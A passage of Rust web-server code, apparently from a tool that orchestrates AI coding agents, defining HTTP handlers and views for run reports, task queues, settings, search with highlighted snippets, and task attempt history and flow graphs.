3332 let state = read_run(&ui.runs, &id)?;
3336 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3337 let live = state.liveness(daemon_claims);
3338 Ok(format!(
3339 "{}{}",
3340 report::run(&state),
3341 report::active_seats(&state, live)
3342 ))
3343 })
3344 .await?;
3345 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3346}
3347
3348async fn run_report_json(
3352 State(ui): State<Arc<Ui>>,
3353 Path(id): Path<String>,
3354) -> ApiResult<Json<crate::report_view::RunReportView>> {
3355 let view = blocking(move || {
3356 let id = resolve_run(&ui.runs, &id)?;
3357 let state = read_run(&ui.runs, &id)?;
3358 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3359 Ok(crate::report_view::build(
3360 &state,
3361 state.liveness(daemon_claims),
3362 ))
3363 })
3364 .await?;
3365 Ok(Json(view))
3366}
3367
3368#[derive(Debug, Serialize)]
3374struct TaskView {
3375 #[serde(flatten)]
3376 task: Task,
3377 source_label: String,
3378 source_link: Option<SourceLink>,
3379 status_str: &'static str,
3380 instruction_md: Vec<md::Node>,
3384 waits_on: Vec<String>,
3388 stuck_roots: Vec<String>,
3391}
3392
3393impl From<Task> for TaskView {
3394 fn from(task: Task) -> Self {
3395 Self {
3396 source_label: task.source.label(),
3397 source_link: source_link(&task.source),
3398 status_str: task.status.as_str(),
3399 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3400 waits_on: Vec::new(),
3401 stuck_roots: Vec::new(),
3402 task,
3403 }
3404 }
3405}
3406
3407impl TaskView {
3408 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3409 let waits_on = inv.waits_on(&task);
3410 let stuck_roots = inv
3411 .stuck_roots(&task)
3412 .iter()
3413 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3414 .collect();
3415 Self {
3416 waits_on,
3417 stuck_roots,
3418 ..Self::from(task)
3419 }
3420 }
3421}
3422
3423#[derive(Debug, Default, Deserialize)]
3426#[serde(default)]
3427struct ReposQuery {
3428 refresh: u8,
3429}
3430
3431async fn repos_list(
3438 State(ui): State<Arc<Ui>>,
3439 Query(q): Query<ReposQuery>,
3440) -> ApiResult<Json<Vec<repos::Repo>>> {
3441 let refresh = q.refresh != 0;
3442 blocking(move || {
3443 let (cfg, _) = Config::discover(&ui.repo, None)?;
3444 Ok(Json(ui.repos_cache.list(
3445 &cfg.repos.roots,
3446 Duration::from_secs(cfg.repos.scan_ttl),
3447 refresh,
3448 )))
3449 })
3450 .await
3451}
3452
3453async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3457 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3458}
3459
3460#[derive(Debug, Deserialize)]
3462#[serde(deny_unknown_fields)]
3463struct RolesBody {
3464 revision: String,
3466 #[serde(default)]
3468 roles: std::collections::BTreeMap<String, Vec<String>>,
3469 #[serde(default)]
3473 counts: std::collections::BTreeMap<String, serde_json::Value>,
3474}
3475
3476async fn settings_put_roles(
3482 State(ui): State<Arc<Ui>>,
3483 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3484) -> ApiResult<Json<settings::SettingsView>> {
3485 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3486 blocking(move || {
3487 settings::save(
3488 &ui.repo,
3489 ui.machine_config.as_deref(),
3490 &body.revision,
3491 &body.roles,
3492 &body.counts,
3493 )
3494 .map(Json)
3495 .map_err(|e| match e {
3496 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3497 settings::SaveError::Refused(m) => ApiError {
3498 status: StatusCode::UNPROCESSABLE_ENTITY,
3499 message: m,
3500 },
3501 settings::SaveError::Internal(m) => ApiError::internal(m),
3502 })
3503 })
3504 .await
3505}
3506
3507async fn queue_list(
3508 State(ui): State<Arc<Ui>>,
3509 Query(q): Query<ListQuery>,
3510) -> ApiResult<Json<Vec<TaskView>>> {
3511 blocking(move || {
3512 let tasks = ui.queue.list();
3513 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3514 Ok(Json(
3515 tasks
3516 .into_iter()
3517 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3518 .map(|t| TaskView::with_inventory(t, &inv))
3519 .collect(),
3520 ))
3521 })
3522 .await
3523}
3524
3525const SEARCH_MAX_HITS: usize = 100;
3527const SEARCH_MAX_QUERY: usize = 200;
3529const SEARCH_MAX_TERMS: usize = 8;
3530const SNIPPET_BEFORE: usize = 50;
3532const SNIPPET_AFTER: usize = 110;
3533
3534#[derive(Debug, Deserialize)]
3536struct SearchQuery {
3537 #[serde(default)]
3538 scope: String,
3539 #[serde(default)]
3540 q: String,
3541}
3542
3543#[derive(Debug, Serialize, PartialEq, Eq)]
3546struct SnippetPart {
3547 text: String,
3548 hit: bool,
3549}
3550
3551#[derive(Debug, Serialize)]
3552struct SearchHit {
3553 id: String,
3554 field: String,
3556 snippet: Vec<SnippetPart>,
3557 #[serde(skip_serializing_if = "Option::is_none")]
3561 run: Option<RunSummary>,
3562}
3563
3564#[derive(Debug, Serialize)]
3565struct SearchView {
3566 scope: String,
3567 q: String,
3568 hits: Vec<SearchHit>,
3570 total: usize,
3572 truncated: bool,
3573 unreadable: usize,
3576}
3577
3578fn text_leaves<'a>(
3581 value: &'a serde_json::Value,
3582 field: &'a str,
3583 out: &mut Vec<(&'a str, &'a str)>,
3584) {
3585 match value {
3586 serde_json::Value::String(s) => out.push((field, s)),
3587 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3588 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3589 _ => {}
3590 }
3591}
3592
3593fn fold_char(c: char) -> char {
3596 c.to_lowercase().next().unwrap_or(c)
3597}
3598
3599fn search_terms(q: &str) -> Vec<String> {
3601 let mut terms: Vec<String> = Vec::new();
3602 for t in q.split_whitespace() {
3603 let t = t.to_lowercase();
3604 if !terms.contains(&t) {
3605 terms.push(t);
3606 }
3607 }
3608 terms
3609}
3610
3611fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3614 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3615 let mut first: Option<usize> = None;
3616 for term in terms {
3617 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3618 first = Some(first.map_or(at, |f| f.min(at)));
3619 }
3620 let (field, text) = leaves[first?];
3622 Some(SearchHit {
3623 id: String::new(),
3624 field: field.to_owned(),
3625 snippet: snippet_of(text, terms),
3626 run: None,
3627 })
3628}
3629
3630fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3633 let chars: Vec<char> = text.chars().collect();
3634 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3635 let needles: Vec<Vec<char>> = terms
3636 .iter()
3637 .map(|t| t.chars().map(fold_char).collect())
3638 .collect();
3639 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3640 let mut best: Option<(usize, usize)> = None;
3641 for n in needles.iter().filter(|n| !n.is_empty()) {
3642 if n.len() > chars.len() || to == 0 {
3646 continue;
3647 }
3648 let last = (to - 1).min(chars.len() - n.len());
3649 if from > last {
3650 continue;
3651 }
3652 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3653 && best.is_none_or(|(b, _)| i < b)
3654 {
3655 best = Some((i, i + n.len()));
3656 }
3657 }
3658 best
3659 };
3660 let Some((start, _)) = find(0, chars.len()) else {
3661 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3663 return vec![SnippetPart {
3664 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3665 hit: false,
3666 }];
3667 };
3668 let lo = start.saturating_sub(SNIPPET_BEFORE);
3669 let hi = (start + SNIPPET_AFTER).min(chars.len());
3670 let mut parts: Vec<SnippetPart> = Vec::new();
3671 let mut push = |s: &[char], hit: bool| {
3672 if s.is_empty() {
3673 return;
3674 }
3675 let text: String = s.iter().collect();
3676 match parts.last_mut() {
3677 Some(p) if p.hit == hit => p.text.push_str(&text),
3678 _ => parts.push(SnippetPart { text, hit }),
3679 }
3680 };
3681 if lo > 0 {
3682 push(&['\u{2026}'], false);
3683 }
3684 let mut at = lo;
3685 while at < hi {
3686 match find(at, hi) {
3687 Some((s, e)) => {
3688 push(&chars[at..s], false);
3689 let shown = e.min(hi);
3691 push(&chars[s..shown], true);
3692 at = shown;
3693 }
3694 None => {
3695 push(&chars[at..hi], false);
3696 at = hi;
3697 }
3698 }
3699 }
3700 if hi < chars.len() {
3701 push(&['\u{2026}'], false);
3702 }
3703 let mut prev_space = false;
3706 for p in &mut parts {
3707 let mut out = String::with_capacity(p.text.len());
3708 for c in p.text.chars() {
3709 if c.is_whitespace() {
3710 if !prev_space {
3711 out.push(' ');
3712 }
3713 prev_space = true;
3714 } else {
3715 out.push(c);
3716 prev_space = false;
3717 }
3718 }
3719 p.text = out;
3720 }
3721 parts.retain(|p| !p.text.is_empty());
3722 parts
3723}
3724
3725fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3727where
3728 I: IntoIterator<Item = (String, serde_json::Value)>,
3729{
3730 for (id, doc) in docs {
3731 let mut leaves = Vec::new();
3732 leaves.push(("id", id.as_str()));
3735 text_leaves(&doc, "", &mut leaves);
3736 if let Some(mut hit) = search_document(terms, &leaves) {
3737 view.total += 1;
3738 if view.hits.len() < SEARCH_MAX_HITS {
3739 hit.id = id;
3740 view.hits.push(hit);
3741 }
3742 }
3743 }
3744 view.truncated = view.total > view.hits.len();
3745}
3746
3747fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3754 let opener = talk
3755 .turns
3756 .iter()
3757 .find(|t| t.who == crate::talk::Who::Operator)
3758 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3759 .unwrap_or("");
3760 let title: String = if opener.chars().count() > 96 {
3761 opener.chars().take(95).chain(['\u{2026}']).collect()
3762 } else {
3763 opener.to_owned()
3764 };
3765 let turns: Vec<serde_json::Value> = talk
3766 .turns
3767 .iter()
3768 .map(|t| {
3769 let who = match t.who {
3770 crate::talk::Who::Operator => "operator",
3771 crate::talk::Who::Agent => "agent",
3772 };
3773 serde_json::json!({ who: t.body })
3774 })
3775 .collect();
3776 serde_json::json!({ "title": title, "turns": turns })
3777}
3778
3779async fn search_get(
3786 State(ui): State<Arc<Ui>>,
3787 Query(q): Query<SearchQuery>,
3788) -> ApiResult<Json<SearchView>> {
3789 let query = q.q.trim().to_owned();
3790 if query.is_empty() {
3791 return Err(ApiError::bad_request("q must not be empty"));
3792 }
3793 if query.chars().count() > SEARCH_MAX_QUERY {
3794 return Err(ApiError::bad_request(format!(
3795 "q is longer than {SEARCH_MAX_QUERY} characters"
3796 )));
3797 }
3798 let terms = search_terms(&query);
3799 if terms.len() > SEARCH_MAX_TERMS {
3800 return Err(ApiError::bad_request(format!(
3801 "q has more than {SEARCH_MAX_TERMS} terms"
3802 )));
3803 }
3804 let scope = q.scope;
3805 if scope != "runs" && scope != "tasks" && scope != "chats" {
3806 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3807 }
3808 blocking(move || {
3809 let mut view = SearchView {
3810 scope: scope.clone(),
3811 q: query,
3812 hits: Vec::new(),
3813 total: 0,
3814 truncated: false,
3815 unreadable: 0,
3816 };
3817 if scope == "runs" {
3818 let mut unreadable = 0;
3819 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3823 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3824 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3825 Some(v) => Some((id, v)),
3826 None => {
3827 unreadable += 1;
3828 None
3829 }
3830 }
3831 });
3832 search_docs(&terms, docs, &mut view);
3833 view.unreadable = unreadable;
3834 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3837 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3838 for hit in &mut view.hits {
3839 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3840 hit.run = summarize(
3841 [state],
3842 &open_runs,
3843 &claimed,
3844 &superseded,
3845 |p| probe.borrow_mut().status(p),
3846 |p| probe.borrow_mut().started_at(p),
3847 )
3848 .pop();
3849 }
3850 }
3851 } else if scope == "chats" {
3852 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3853 view.unreadable = unreadable;
3854 search_docs(
3855 &terms,
3856 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3857 &mut view,
3858 );
3859 } else {
3860 let docs = ui.queue.list().into_iter().filter_map(|t| {
3861 let mut v = serde_json::to_value(&t).ok()?;
3862 if let Some(o) = v.as_object_mut() {
3865 o.insert("filed_by".to_owned(), t.source.label().into());
3866 }
3867 Some((t.id, v))
3868 });
3869 search_docs(&terms, docs, &mut view);
3870 }
3871 Ok(Json(view))
3872 })
3873 .await
3874}
3875
3876#[derive(Debug, Serialize)]
3878struct TaskRunView {
3879 n: usize,
3881 id: String,
3882 short: String,
3883 kind: &'static str,
3885 status: Option<&'static str>,
3887 readable: bool,
3889 provisional: bool,
3891 description: String,
3893 outcome: String,
3895 created_at: Option<Timestamp>,
3896 pr: Option<String>,
3897 exit: RunExit,
3899 attempt: AttemptCost,
3901 branch: Option<String>,
3903}
3904
3905#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3907#[serde(rename_all = "snake_case")]
3908enum RunExit {
3909 Unreadable,
3910 Interrupted,
3912 Parked,
3913 QuotaStall,
3914 ResumedQuotaStall,
3918 Merged,
3919 Ready,
3920 Superseded,
3921 AlreadyInBase,
3924 Stalled,
3926 HeldWithPr,
3928 NoopHeld,
3929 Spent,
3931 InProgress,
3932}
3933
3934#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3935#[serde(rename_all = "snake_case")]
3936enum AttemptCost {
3937 Spent,
3938 Refunded,
3939 None,
3940 Unknown,
3942}
3943
3944impl RunExit {
3945 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3946 let Some(s) = s else {
3947 return Self::Unreadable;
3948 };
3949 let status = s.status;
3950 if resumed_later {
3951 Self::Interrupted
3952 } else if s.parked {
3953 Self::Parked
3954 } else if !status.done() {
3955 Self::InProgress
3956 } else if matches!(status, RunStatus::Merged) {
3957 Self::Merged
3958 } else if matches!(status, RunStatus::Ready) {
3959 Self::Ready
3960 } else if matches!(status, RunStatus::Superseded) {
3961 Self::Superseded
3962 } else if matches!(status, RunStatus::AlreadyInBase) {
3963 Self::AlreadyInBase
3964 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3965 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3966 {
3967 if resumed {
3968 Self::ResumedQuotaStall
3969 } else {
3970 Self::QuotaStall
3971 }
3972 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3973 Self::HeldWithPr
3974 } else if matches!(status, RunStatus::VerifiedNoop) {
3975 Self::NoopHeld
3976 } else if matches!(status, RunStatus::Stalled) {
3977 Self::Stalled
3978 } else {
3979 Self::Spent
3980 }
3981 }
3982
3983 fn cost(self) -> AttemptCost {
3984 match self {
3985 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3986 Self::Merged
3987 | Self::Ready
3988 | Self::Stalled
3989 | Self::HeldWithPr
3990 | Self::NoopHeld
3991 | Self::Spent => AttemptCost::Spent,
3992 Self::InProgress => AttemptCost::None,
3993 Self::AlreadyInBase => AttemptCost::Refunded,
3994 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3995 AttemptCost::Unknown
3996 }
3997 }
3998 }
3999
4000 fn edge_label(self, status: Option<&str>) -> String {
4002 match self {
4003 Self::Unreadable => "record unreadable".to_owned(),
4004 Self::Interrupted => "interrupted before the run finished".to_owned(),
4005 Self::Parked => "parked, attempt refunded".to_owned(),
4006 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4007 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4008 Self::Merged => "merged".to_owned(),
4009 Self::Ready => "ready, not merged".to_owned(),
4010 Self::Superseded => "superseded by a later attempt".to_owned(),
4011 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4012 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4013 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4014 Self::NoopHeld => "verified no-op".to_owned(),
4015 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4016 Self::InProgress => "in progress".to_owned(),
4017 }
4018 }
4019
4020 fn explains(self, end: TaskStatus) -> bool {
4023 match self {
4024 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4025 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4026 Self::Unreadable | Self::Superseded | Self::Ready => true,
4027 _ => end != TaskStatus::Done,
4028 }
4029 }
4030}
4031
4032#[derive(Debug, Serialize)]
4034struct TaskDetailView {
4035 #[serde(flatten)]
4036 task: TaskView,
4037 max_attempts: usize,
4040 history: Vec<TaskRunView>,
4041 flow: FlowView,
4042 runs_unreadable: usize,
4044 attempts_note: &'static str,
4046}
4047
4048const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4049and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4050on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4051in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4052
4053fn review_branch_of(instruction: &str) -> Option<&str> {
4056 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4057 rest.split('`').next().filter(|b| !b.is_empty())
4058}
4059
4060struct RunSlot<'a> {
4062 n: usize,
4064 resumed: bool,
4066 resumed_later: Option<usize>,
4068 prior: Option<(&'a str, RunStatus)>,
4070 last: bool,
4071}
4072
4073fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4076 let RunSlot {
4077 n,
4078 resumed,
4079 resumed_later,
4080 prior,
4081 last,
4082 } = at;
4083 let short = run::short_of(id).to_owned();
4084 let Some(s) = state else {
4085 return TaskRunView {
4086 n,
4087 id: id.to_owned(),
4088 short,
4089 kind: "unknown",
4090 status: None,
4091 readable: false,
4092 provisional: false,
4093 description:
4094 "This run's record could not be read by this build (written by a different \
4095 magi, or removed), so what kind of attempt it was is unknown."
4096 .to_owned(),
4097 outcome: String::new(),
4098 created_at: None,
4099 pr: None,
4100 exit: RunExit::Unreadable,
4101 attempt: AttemptCost::Unknown,
4102 branch: None,
4103 };
4104 };
4105 let branch = review_branch_of(&s.instruction);
4106 let kind = if resumed {
4107 "resume"
4108 } else if branch.is_some() {
4109 "review"
4110 } else if task.solo || s.candidates.len() == 1 {
4111 "solo"
4112 } else {
4113 "competition"
4114 };
4115 let mut description = match kind {
4116 "resume" => {
4117 format!("Resumed run {short}: the same run carried on instead of competing again.")
4118 }
4119 "review" => format!(
4120 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4121 branch.unwrap_or_default()
4122 ),
4123 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4124 _ => format!(
4125 "Competition: {} candidates judged blind.",
4126 s.candidates.len().max(1)
4127 ),
4128 };
4129 if !resumed && let Some((p, st)) = prior {
4130 description.push_str(&format!(
4131 " A retry: run {p} before it ended {}.",
4132 st.display_label()
4133 ));
4134 }
4135
4136 let status = s.status;
4137 let provisional = matches!(status, RunStatus::Stalled)
4138 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4139 let head = if resumed_later.is_some() {
4140 String::new()
4141 } else {
4142 match status {
4143 RunStatus::Merged => "Merged.".to_owned(),
4144 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4145 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4146 RunStatus::AlreadyInBase => {
4147 "Already in the base: this change landed under other commits, nothing was left to land."
4148 .to_owned()
4149 }
4150 RunStatus::Stalled => {
4151 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4152 .to_owned()
4153 }
4154 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4155 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4156 RunStatus::VerifiedNoop => {
4157 "Verified no-op: the candidates found nothing to change.".to_owned()
4158 }
4159 other if other.done() => format!("Ended {}.", other.display_label()),
4160 other => format!("In progress ({}).", other.display_label()),
4161 }
4162 };
4163 let why = if let Some(k) = resumed_later {
4164 let cause = if s.quota.is_empty() {
4171 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4172 } else {
4173 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4174 };
4175 format!(
4176 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4177 )
4178 } else if s.parked {
4179 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4180 .to_owned()
4181 } else if !status.done()
4182 || matches!(
4183 status,
4184 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4185 )
4186 {
4187 String::new()
4188 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4189 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4190 {
4191 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4192 .to_owned()
4193 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4194 " It left a pull request open, so the task was held for a person rather than retried."
4195 .to_owned()
4196 } else if matches!(status, RunStatus::VerifiedNoop) {
4197 " Held for a person to check the claim.".to_owned()
4198 } else if last {
4199 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4200 } else {
4201 " It spent an attempt, and the task moved on to the next run.".to_owned()
4202 };
4203 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4204 TaskRunView {
4205 n,
4206 id: id.to_owned(),
4207 short,
4208 kind,
4209 status: Some(status.as_str()),
4210 readable: true,
4211 provisional,
4212 description,
4213 outcome: format!("{head}{why}"),
4214 created_at: Some(s.created_at),
4215 pr: s.pr.as_ref().map(|p| p.url.clone()),
4216 exit,
4217 attempt: exit.cost(),
4218 branch: branch.map(str::to_owned),
4219 }
4220}
4221
4222#[derive(Debug, Serialize, PartialEq)]
4224struct FlowNode {
4225 key: String,
4227 kind: &'static str,
4229 label: String,
4230 status: Option<&'static str>,
4233 note: Option<&'static str>,
4235 run_kind: Option<&'static str>,
4236 detail: Option<String>,
4237 decided: bool,
4239 readable: bool,
4240 href: Option<String>,
4241}
4242
4243#[derive(Debug, Serialize, PartialEq)]
4244struct FlowEdge {
4245 from: String,
4246 to: String,
4247 label: String,
4248 attempt: AttemptCost,
4249}
4250
4251#[derive(Debug, Serialize, PartialEq)]
4252struct FlowView {
4253 nodes: Vec<FlowNode>,
4254 edges: Vec<FlowEdge>,
4255 attempts: usize,
4257 max_attempts: usize,
4258}
4259
4260fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4263 let node = |key: &str, kind, label: String| FlowNode {
4264 key: key.to_owned(),
4265 kind,
4266 label,
4267 status: None,
4268 note: None,
4269 run_kind: None,
4270 detail: None,
4271 decided: false,
4272 readable: true,
4273 href: None,
4274 };
4275 let mut nodes = Vec::new();
4276 let mut edges: Vec<FlowEdge> = Vec::new();
4277 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4279 let mut n = node(
4280 "chat",
4281 "chat",
4282 format!("Chat {}", crate::queue::short(&link.id)),
4283 );
4284 n.href = Some(link.href);
4285 nodes.push(n);
4286 edges.push(FlowEdge {
4287 from: "chat".to_owned(),
4288 to: "start".to_owned(),
4289 label: "queued from chat".to_owned(),
4290 attempt: AttemptCost::None,
4291 });
4292 }
4293 nodes.push(node("start", "start", "Task queued".to_owned()));
4294 let mut prev = "start".to_owned();
4295 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4296 for (i, h) in history.iter().enumerate() {
4297 let key = format!("run-{}", h.n);
4298 let mut n = node(&key, "run", format!("Run {}", h.short));
4299 n.run_kind = Some(h.kind);
4300 n.readable = h.readable;
4301 n.href = Some(format!("#/runs/{}", h.id));
4302 n.decided = h.readable && !h.provisional;
4303 n.detail = h
4304 .branch
4305 .as_ref()
4306 .map(|b| format!("review-only run of branch {b}"));
4307 match h.exit {
4308 RunExit::Unreadable => n.note = Some("unreadable"),
4309 RunExit::Interrupted => n.note = Some("interrupted"),
4310 _ => {
4311 n.status = h.status;
4312 if h.provisional {
4313 n.note = Some("no verdict");
4314 }
4315 }
4316 }
4317 let into = match h.kind {
4318 "review" => Some(format!(
4319 "review-only run of branch {}",
4320 h.branch.as_deref().unwrap_or("?")
4321 )),
4322 "resume" => Some("resume the same run".to_owned()),
4323 _ if i > 0 => Some("retry".to_owned()),
4324 _ => None,
4325 };
4326 let label = match (prev_exit, into) {
4327 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4328 (Some((e, st)), None) => e.edge_label(st),
4329 (None, Some(i)) => i,
4330 (None, None) => "claimed".to_owned(),
4331 };
4332 edges.push(FlowEdge {
4333 from: prev.clone(),
4334 to: key.clone(),
4335 label,
4336 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4337 });
4338 prev_exit = Some((h.exit, h.status));
4339 prev = key;
4340 nodes.push(n);
4341 }
4342 let mut end = node("end", "end", task.status.as_str().to_owned());
4343 end.status = Some(task.status.as_str());
4344 nodes.push(end);
4345 let (label, attempt) = match prev_exit {
4346 None => (
4347 format!("no run yet \u{2192} {}", task.status.as_str()),
4348 AttemptCost::None,
4349 ),
4350 Some((e, st)) if e.explains(task.status) => (
4351 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4352 e.cost(),
4353 ),
4354 Some((e, _)) => (
4355 format!("closed by hand: task is {}", task.status.as_str()),
4356 e.cost(),
4357 ),
4358 };
4359 edges.push(FlowEdge {
4360 from: prev,
4361 to: "end".to_owned(),
4362 label,
4363 attempt,
4364 });
4365 FlowView {
4366 nodes,
4367 edges,
4368 attempts: task.attempts,
4369 max_attempts,
4370 }
4371}
4372
4373fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4376 let mut history = Vec::with_capacity(task.runs.len());
4377 let mut seen: Vec<&str> = Vec::new();
4378 let mut prior: Option<(&str, RunStatus)> = None;
4379 for (i, run_id) in task.runs.iter().enumerate() {
4380 let state = read(run_id);
4381 let resumed = seen.contains(&run_id.as_str());
4382 seen.push(run_id);
4383 history.push(task_run_view(
4384 run_id,
4385 state.as_ref(),
4386 RunSlot {
4387 n: i + 1,
4388 resumed,
4389 resumed_later: task.runs[i + 1..]
4390 .iter()
4391 .position(|r| r == run_id)
4392 .map(|off| i + off + 2),
4393 prior,
4394 last: i + 1 == task.runs.len(),
4395 },
4396 task,
4397 ));
4398 if let Some(s) = &state {
4399 prior = Some((run::short_of(run_id), s.status));
4400 }
4401 }
4402 history
4403}
4404
4405async fn task_detail(
4406 State(ui): State<Arc<Ui>>,
4407 Path(id): Path<String>,
4408) -> ApiResult<Json<TaskDetailView>> {
4409 blocking(move || {
4410 let id = resolve_task(&ui.queue, &id)?;
4411 let task = ui
4412 .queue
4413 .get(&id)
4414 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4415 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4416 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4417 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4418 let max_attempts = daemon::Opts::default().max_attempts;
4419 let flow = task_flow(&task, &history, max_attempts);
4420 Ok(Json(TaskDetailView {
4421 max_attempts,
4422 flow,
4423 history,
4424 runs_unreadable,
4425 attempts_note: ATTEMPTS_NOTE,
4426 task: TaskView::with_inventory(task, &inv),
4427 }))
4428 })
4429 .await
4430}
4431
4432#[derive(Debug, Serialize)]
4436struct RateView {
4437 pct: f64,
4438 denominator: usize,
4439}
4440
4441impl RateView {
4442 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4443 (denominator > 0).then(|| Self {
4444 pct: 100.0 * numerator as f64 / denominator as f64,
4445 denominator,
4446 })
4447 }
4448}
4449
4450#[derive(Debug, Serialize)]
4455struct StatsTotalsView {
4456 runs: usize,
4457 merged: usize,
4458 ready: usize,
4459 blocked: usize,
4460 failed: usize,
4461 stalled: usize,
4462 verified_noop: usize,
4463 superseded: usize,
4464 in_progress: usize,
4465 completion_rate: Option<RateView>,
4466 tallied: usize,
4467 split: usize,
4468 split_rate: Option<RateView>,
4469 deliberated: usize,
4470 minds_changed: usize,
4471 converged: usize,
4472 review_rounds: usize,
4473}
4474
4475impl From<&stats::Totals> for StatsTotalsView {
4476 fn from(t: &stats::Totals) -> Self {
4477 Self {
4478 runs: t.runs,
4479 merged: t.merged,
4480 ready: t.ready,
4481 blocked: t.blocked,
4482 failed: t.failed,
4483 stalled: t.stalled,
4484 verified_noop: t.verified_noop,
4485 superseded: t.superseded,
4486 in_progress: t.in_progress,
4487 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4488 tallied: t.tallied,
4489 split: t.split,
4490 split_rate: RateView::of(t.split, t.tallied),
4491 deliberated: t.deliberated,
4492 minds_changed: t.minds_changed,
4493 converged: t.converged,
4494 review_rounds: t.review_rounds,
4495 }
4496 }
4497}
4498
4499#[derive(Debug, Serialize)]
4501struct AgentStatsView {
4502 agent: String,
4503 entered: usize,
